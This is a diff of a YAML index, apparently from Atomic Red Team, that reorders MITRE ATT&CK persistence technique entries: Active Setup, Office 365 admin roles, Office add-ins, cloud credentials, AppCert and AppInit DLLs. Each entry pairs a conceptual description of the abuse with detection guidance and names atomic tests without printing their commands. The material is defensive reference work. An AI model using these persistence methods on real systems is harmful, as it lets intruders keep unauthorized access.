-        url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
-        description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese
-          Government and Fossil Fuel Provider With Poison Ivy. Retrieved December
-          18, 2020.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Active Setup
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-03-05T22:36:37.414Z'
+      created: '2020-12-18T16:33:13.098Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.
 
         Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)
 
         Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
-      id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-03-05T22:36:37.414Z'
-      created: '2020-12-18T16:33:13.098Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
+      x_mitre_contributors:
+      - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)
       x_mitre_detection: |-
         Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\</code>.
 
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/014
+        external_id: T1547.014
+        source_name: mitre-attack
+      - url: https://helgeklein.com/blog/2010/04/active-setup-explained/
+        description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved
+          December 18, 2020.
+        source_name: Klein Active Setup 2010
+      - url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
+        description: Glyer, C. (2010). Examples of Recent APT Persitence Mechanism.
+          Retrieved December 18, 2020.
+        source_name: Mandiant Glyer APT 2010
+      - url: https://citizenlab.ca/2015/12/packrat-report/
+        description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved
+          December 18, 2020.
+        source_name: Citizenlab Packrat 2015
+      - url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
+        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
+          Retrieved December 18, 2020.
+        source_name: FireEye CFR Watering Hole 2012
+      - url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
+        description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really
+          Spreading through the Bright Star?. Retrieved December 18, 2020.
+        source_name: SECURELIST Bright Star 2015
+      - url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
+        description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese
+          Government and Fossil Fuel Provider With Poison Ivy. Retrieved December
+          18, 2020.
+        source_name: paloalto Tropic Trooper 2016
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
     atomic_tests: []
   T1098.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1098.003
-        url: https://attack.mitre.org/techniques/T1098/003
-      - source_name: Microsoft Support O365 Add Another Admin, October 2019
-        url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
-        description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
-      - source_name: Microsoft O365 Admin Roles
-        url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
-        description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
-          al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Add Office 365 Global Administrator Role
+      x_mitre_data_sources:
+      - 'User Account: User Account Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T12:40:02.331Z'
+      created: '2020-01-19T16:59:45.362Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3
+      x_mitre_platforms:
+      - Office 365
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: "An adversary may add the Global Administrator role to an adversary-controlled
         account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft
         Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin
@@ -42135,53 +43363,49 @@ persistence:
         O365 Admin Roles) \n\nThis account modification may immediately follow [Create
         Account](https://attack.mitre.org/techniques/T1136) or other malicious account
         activity."
-      id: attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-24T12:40:02.331Z'
-      created: '2020-01-19T16:59:45.362Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
+      x_mitre_contributors:
+      - Microsoft Threat Intelligence Center (MSTIC)
       x_mitre_detection: 'Collect usage logs from cloud administrator accounts to
         identify unusual activity in the assignment of roles to those accounts. Monitor
         for accounts assigned to admin roles that go over a certain threshold of known
         admins. '
-      x_mitre_data_sources:
-      - 'User Account: User Account Modification'
-      x_mitre_contributors:
-      - Microsoft Threat Intelligence Center (MSTIC)
-      x_mitre_platforms:
-      - Office 365
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1098/003
+        external_id: T1098.003
+        source_name: mitre-attack
+      - url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
+        description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
+        source_name: Microsoft Support O365 Add Another Admin, October 2019
+      - url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
+        description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
+          al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
+        source_name: Microsoft O365 Admin Roles
     atomic_tests: []
   T1137.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1137.006
-        url: https://attack.mitre.org/techniques/T1137/006
-      - url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
-        description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.
-        source_name: Microsoft Office Add-ins
-      - url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
-        description: Knowles, W. (2017, April 21). Add-In Opportunities for Office
-          Persistence. Retrieved July 3, 2017.
-        source_name: MRWLabs Office Persistence Add-ins
-      - source_name: FireEye Mail CDS 2018
-        url: https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf
-        description: Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail!
-          Enterprise Email Compromise. Retrieved April 22, 2019.
-      - source_name: GlobalDotName Jun 2019
-        url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
-        description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName
-          - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Add-ins
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '1.1'
+      modified: '2021-08-16T21:26:09.296Z'
+      created: '2019-11-07T19:52:52.801Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d
       description: "Adversaries may abuse Microsoft Office add-ins to obtain persistence
         on a compromised system. Office add-ins can be used to add functionality to
         Office programs. (Citation: Microsoft Office Add-ins) There are different
@@ -42192,32 +43416,33 @@ persistence:
         Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used
         to obtain persistence because they can be set to execute code when an Office
         application starts. "
-      id: attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-03-26T17:34:02.877Z'
-      created: '2019-11-07T19:52:52.801Z'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - Administrator
-      - User
       x_mitre_detection: |-
         Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)
 
         Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Windows
-      - Office 365
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1137/006
+        external_id: T1137.006
+        source_name: mitre-attack
+      - source_name: Microsoft Office Add-ins
+        description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.
+        url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
+      - source_name: MRWLabs Office Persistence Add-ins
+        description: Knowles, W. (2017, April 21). Add-In Opportunities for Office
+          Persistence. Retrieved July 3, 2017.
+        url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
+      - url: https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf
+        description: Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail!
+          Enterprise Email Compromise. Retrieved April 22, 2019.
+        source_name: FireEye Mail CDS 2018
+      - url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
+        description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName
+          - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.
+        source_name: GlobalDotName Jun 2019
       identifier: T1137.006
     atomic_tests:
     - name: Code Executed Via Excel Add-in File (Xll)
@@ -42245,75 +43470,75 @@ persistence:
 '
   T1098.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1098.001
-        url: https://attack.mitre.org/techniques/T1098/001
-      - source_name: Microsoft SolarWinds Customer Guidance
-        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
-        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
-          Cyber Attacks. Retrieved December 17, 2020.
-      - source_name: Blue Cloud of Death
-        url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
-        description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming
-          Azure. Retrieved October 23, 2019.'
-      - source_name: Blue Cloud of Death Video
-        url: https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815
-        description: 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming
-          Azure. Retrieved November 21, 2019.'
-      - source_name: Demystifying Azure AD Service Principals
-        url: https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/
-        description: Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service
-          Principals. Retrieved January 19, 2020.
-      - source_name: GCP SSH Key Add
-        url: https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add
-        description: Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved
-          October 1, 2020.
-      - source_name: Expel IO Evil in AWS
-        url: https://expel.io/blog/finding-evil-in-aws/
-        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
-          Evil in AWS. Retrieved June 25, 2020.
-      - source_name: Expel Behind the Scenes
-        url: https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/
-        description: 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020,
-          July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved
-          October 1, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Additional Cloud Credentials
+      x_mitre_data_sources:
+      - 'User Account: User Account Modification'
+      - 'Active Directory: Active Directory Object Modification'
+      x_mitre_version: '2.2'
+      modified: '2021-03-08T10:33:01.582Z'
+      created: '2020-01-19T16:10:15.008Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd
+      x_mitre_platforms:
+      - IaaS
+      - Azure AD
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: |-
         Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
 
         Adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
 
         In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)
-      id: attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-03-08T10:33:01.582Z'
-      created: '2020-01-19T16:10:15.008Z'
       x_mitre_contributors:
       - Expel
       - Oleg Kolesnikov, Securonix
       - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
-      x_mitre_version: '2.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - User
       x_mitre_detection: |-
         Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.
 
         Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.
-      x_mitre_data_sources:
-      - 'User Account: User Account Modification'
-      - 'Active Directory: Active Directory Object Modification'
-      x_mitre_platforms:
-      - IaaS
-      - Azure AD
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1098/001
+        external_id: T1098.001
+        source_name: mitre-attack
+      - url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
+        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
+          Cyber Attacks. Retrieved December 17, 2020.
+        source_name: Microsoft SolarWinds Customer Guidance
+      - url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
+        description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming
+          Azure. Retrieved October 23, 2019.'
+        source_name: Blue Cloud of Death
+      - url: https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815
+        description: 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming
+          Azure. Retrieved November 21, 2019.'
+        source_name: Blue Cloud of Death Video
+      - url: https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/
+        description: Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service
+          Principals. Retrieved January 19, 2020.
+        source_name: Demystifying Azure AD Service Principals
+      - url: https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add
+        description: Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved
+          October 1, 2020.
+        source_name: GCP SSH Key Add
+      - url: https://expel.io/blog/finding-evil-in-aws/
+        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
+          Evil in AWS. Retrieved June 25, 2020.
+        source_name: Expel IO Evil in AWS
+      - url: https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/
+        description: 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020,
+          July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved
+          October 1, 2020.'
+        source_name: Expel Behind the Scenes
       identifier: T1098.001
     atomic_tests:
     - name: Azure AD Application Hijacking - Service Principal
@@ -42511,27 +43736,25 @@ persistence:
         name: sh
   T1546.009:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.009
-        url: https://attack.mitre.org/techniques/T1546/009
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      - url: https://forum.sysinternals.com/appcertdlls_topic12546.html
-        description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls.
-          Retrieved December 18, 2017.
-        source_name: Sysinternals AppCertDlls Oct 2007
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: AppCert DLLs
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.052Z'
+      created: '2020-01-24T14:47:41.795Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c
       description: "Adversaries may establish persistence and/or elevate privileges
         by executing malicious content triggered by AppCert DLLs loaded into processes.
         Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code>
@@ -42545,23 +43768,14 @@ persistence:
         be loaded and run in the context of separate processes on the computer. Malicious
         AppCert DLLs may also provide persistence by continuously being triggered
         by API activity. "
-      id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - Administrator
+      - SYSTEM
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-11-10T18:29:31.052Z'
-      created: '2020-01-24T14:47:41.795Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_effective_permissions:
-      - Administrator
-      - SYSTEM
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: "Monitor DLL loads by processes, specifically looking for
         DLLs that are not recognized or not normally loaded into a process. Monitor
         the AppCertDLLs Registry value for modifications that do not correlate with
@@ -42575,41 +43789,67 @@ persistence:
         but as part of a chain of behavior that could lead to other activities, such
         as making network connections for Command and Control, learning details about
         the environment through Discovery, and conducting Lateral Movement."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/009
+        external_id: T1546.009
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
+      - source_name: Sysinternals AppCertDlls Oct 2007
+        description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls.
+          Retrieved December 18, 2017.
+        url: https://forum.sysinternals.com/appcertdlls_topic12546.html
+    atomic_tests: []
+  T1546.010:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: AppInit DLLs
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/010
+        external_id: T1546.010
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: AppInit Registry
+        description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
+          value. Retrieved July 15, 2015.
+        url: https://support.microsoft.com/en-us/kb/197571
+      - source_name: AppInit Secure Boot
+        description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
+          15, 2015.
+        url: https://msdn.microsoft.com/en-us/library/dn280412
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Command: Command Execution'
       - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.076Z'
+      x_mitre_system_requirements:
+      - Secure boot disabled on systems running Windows 8 and later
+      id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd
       x_mitre_platforms:
       - Windows
-    atomic_tests: []
-  T1546.010:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.010
-        url: https://attack.mitre.org/techniques/T1546/010
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://support.microsoft.com/en-us/kb/197571
-        description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
-          value. Retrieved July 15, 2015.
-        source_name: AppInit Registry
-      - url: https://msdn.microsoft.com/en-us/library/dn280412
-        description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
-          15, 2015.
-        source_name: AppInit Secure Boot
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: AppInit DLLs
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: "Adversaries may establish persistence and/or elevate privileges
         by executing malicious content triggered by AppInit DLLs loaded into processes.
         Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code>
@@ -42624,24 +43864,14 @@ persistence:
         DLLs may also provide persistence by continuously being triggered by API activity.
         \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions
         when secure boot is enabled. (Citation: AppInit Secure Boot)"
-      id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - Administrator
+      - SYSTEM
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-11-10T18:29:31.076Z'
-      created: '2020-01-24T14:52:25.589Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Secure boot disabled on systems running Windows 8 and later
-      x_mitre_effective_permissions:
-      - Administrator
-      - SYSTEM
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and
         look for DLLs that are not recognized or not normally loaded into a process.
         Monitor the AppInit_DLLs Registry values for modifications that do not correlate
@@ -42656,13 +43886,8 @@ persistence:
         lead to other activities, such as making network connections for Command and
         Control, learning details about the environment through Discovery, and conducting
         Lateral Movement."
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'Module: Module Load'
-      x_mitre_platforms:
-      - Windows
+      created: '2020-01-24T14:52:25.589Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1546.010
     atomic_tests:
     - name: Install AppInit Shim
@@ -42726,27 +43951,25 @@ persistence:
         elevation_required: true
   T1546.011:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.011
-        url: https://attack.mitre.org/techniques/T1546/011
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - source_name: FireEye Application Shimming
-        url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
-        description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved
-          May 4, 2020.
-      - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
-        description: Pierce, Sean. (2015, November). Defending Against Malicious Application
-          Compatibility Shims. Retrieved June 22, 2017.
-        source_name: Black Hat 2015 App Shim
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Application Shimming
